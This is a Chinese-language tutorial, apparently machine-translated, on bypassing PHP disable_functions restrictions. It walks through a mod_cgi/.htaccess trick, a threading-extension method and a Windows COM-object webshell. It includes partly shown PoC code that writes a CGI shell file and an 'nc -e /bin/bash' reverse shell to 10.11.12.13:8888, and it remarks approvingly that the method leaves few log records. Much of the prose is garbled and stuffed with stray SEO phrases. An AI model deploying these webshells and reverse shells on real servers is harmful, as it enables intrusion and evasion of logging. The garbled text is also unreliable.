第一个条件最好满足,因为我们就是+php5的环境;第二个就是
2023-04-24
第一个条件最好满足,因为我们是+php5环境;
再来看第二种情况:
默认情况下安装模块后,它将被启用。 您可以使用以下命令查看已安装的模块:
httpd - M
真的吗? 下面我们看一下官方文档。
()
根据描述网站建设,函数如下:
任何具有 mime 类型 /x--cgi 或由 cgi-(1.1 或更高版本)处理的文件都将被视为 CGI 脚本并由服务器运行,其输出将返回给客户端。 有两种方法可以使文件成为 CGI 脚本,或者文件具有指令已经定义的扩展名,或者文件位于目录中。
其实很简单:模块就是在服务器上运行cgi脚本文件或者自定义格式的脚本文件,并返回输出。
第三个条件和第四个条件都是关于的。 一起来看看吧。
首先,第四个条件是文件可以写入。 这很简单。 一般在指定的web目录下启用该文件。 我们都可以在web目录下创建文件,写文件自然就简单了。
至于第三个条件。 该文件是否生效取决于配置文件中指定web目录下参数值的设置。
当设置为无时,. 文件被完全忽略。 当此指令设置为 All 时,所有带有“.”的指令。 中允许的范围。 文件。
这里我直接把配置文件的web目录下的参数设置为ALL。
可能有人会说这个设置有点囧,它不是默认配置!
先来看看官方文档介绍(#)
其中提到:2.3.8及之前的版本,参数默认值为ALL
2.3.9版本后才改为None,影响范围还是比较大的。 但是,目前没有。 文件在我的网站目录中。 这实际上并没有影响它,这将在后面解释。
好吧,这里我们已经满足了所有 4 个条件apache运行php文件,让我们尝试重现它。
开始繁殖
这里直接使用的poc。
.php
\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener "; //call the script } } ?>
将php文件直接上传到web目录下,执行反弹命令,我们打开监听服务器的指定端口,然后尝试访问该文件。
反弹成功,可以执行命令,绕过限制。
原因研究
下面分析一下为什么这个poc可以实现命令执行?
.php简单分析:
首先,它将反弹命令写入 . 当前目录下的文件。 不知道这个后缀没关系,后面会解释。
下面是为检查是否满足指定条件而创建的函数。
然后检查 url 中是否有字段,如果没有尝试创建一个 . 文件,然后重定向 url 以添加 ?=true。
接下来依次检查:
1. mod_cgi 模块是否启用 2. 当前目录是否可写; 3. . htaccess 文件是否可以生效;
如果不满足,会报错,不满足使用条件。
接下来,备份原始 .file 并创建一个包含以下内容的新 .file:
Options +ExecCGI\nAddHandler cgi-script .dizzle
创建一个.file,赋予权限777,最后通过js调用脚本在服务器上运行。
思路很清晰,创建的文件其实在服务器和浏览器上都能看到。
添加一个新的.fileapache运行php文件,看看里面的内容
内容是:
Options + ExecCGI AddHandler cgi - script . dizzle
指令含义见指令详解()
这意味着允许该模块执行 CGI 脚本。
和 -。 这意味着后缀名为 . 调用cgi程序处理。
这与另一种配置非常相似,两者之间有什么区别?
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系,如: AddType application / x - x509 - ca - cert . crt 说明 .crt 扩展名的文件就是application/x-x509-ca-cert类型的; 在内容协商时,如果客户端需要是application/x-x509-ca-cert类型的,就将 .crt结尾的资源返回 注意: 经过内容协商的资源,在 http 相应头中有相应的 Content - Location 说明,如: GET / a HTTP / 1.1 … … Content - Location : a . php … AddHandler 说明什么样的扩展名使用什么样的程序来处理,描述的是扩展名与处理程序之间的关系 AddHandler cgi - script . cgi
简而言之
就是定义什么样的后缀名的文件对应的文件类型
是定义了对应什么样的后缀文件
添加一个新的.file,里面的内容是
页面js调用。
好了,基本上复现成功就到这里seo优化,原理也说明了。 理解它的最好方法是手动重现它。
使用
其实网上的资料很多,但是复发记录的不多。 原因可能是默认没有安装这个扩展,这种方式比较冷门。
扩展是为了让 PHP 支持多线程操作而开发的。 默认情况下,不安装此扩展。
所以为了复现,我们需要自己安装扩展,这里需要用到(用于给PHP动态添加扩展,避免重新编译安装php),如果命令不存在或者执行报错,可以使用 yum 或 apt-get 安装 php。
安装扩展的时候记得下载和安装的php同版本的源码包。 如果找不到,就去PHP5博物馆()找下载。
--安装教程参考:
php5.5安装扩展()
如何安装php扩展()
请记住,需要从中删除 php.ini。
安装完成后,可以准备两个文件,上传到web目录下。
.php,核心是利用扩展函数执行指定的脚本。
test.sh,由于脚本可以是脚本,比较灵活,建议直接反弹
#!/bin/bash nc - e / bin / bash 10.11 . 12.13 8888
此时,我们的远程服务器开始监听并尝试访问 .php。
命令执行成功,页面错误没有影响。 这样使用的好处是此时不会有记录,断开连接时只有一条记录。 遮瑕还行~
使用COM组件绕过,这是上层绕过的手势之一。
绕过的姿势可以在PHP 5.x系列中使用。 无奈之下,只能用我本机10重现了。 我还以为是9102年前。 这个姿势可能无效。 测试了一下,还是可以的~
测试环境
操作系统: Windows 10 Apache 版本: Apache2 PHP 版本: PHP 5.6 . 15 禁用函数:symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
为了方便,我直接用搭建的环境,也配置好上传了。 我可以查看文件,但无法执行命令。
当然,利用这个漏洞还是需要一定的条件的,因为是COM组件的问题,所以必须现在在php.ini中启用相关的dll和配置,然后重启。
extension = php_com_dotnet . dll com . allow_dcom = true
下面简单介绍一下COM组件的用途:
COM 组件由作为 动态链接库 (DLL) 或可执行文件 (EXE) 分发的可执行代码组成。 按照 COM 规范编写的组件将能够满足组件体系结构的所有要求。 COM组件可以为应用程序、操作系统和其他组件提供服务; 自定义 COM 组件可以在运行时与其他组件连接以形成应用程序; COM 组件可以动态插入应用程序或从应用程序中删除。
重复过程
这里直接使用构造好的poc
通讯.php
exec('cmd.exe /c '.$command); //调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?>
然后尝试访问
http : //url/comm.php?a=whoami
尝试查看当前目录 pwd
让我们看看能不能玩计算器
真的可以,效果很棒,这种启用COM组件的php站点简直就是绕过杀手。
- 结论
好了,这里介绍了很多姿势,虽然还有很多其他的姿势没有介绍,比如:
绕过(和类似的,需要安装 imap 扩展)
黑名单功能绕过(使用冷门功能执行命令)
perl 扩展安全模式绕过
分机旁路
...
有兴趣的朋友可以自行复现体验。 这里就不继续补充了。 虽然在写完这篇教程后在环境搭建上花费了很多时间,但还是收获不少。 学无止境。 我觉得有些东西需要学习。 还有很多~
参考链接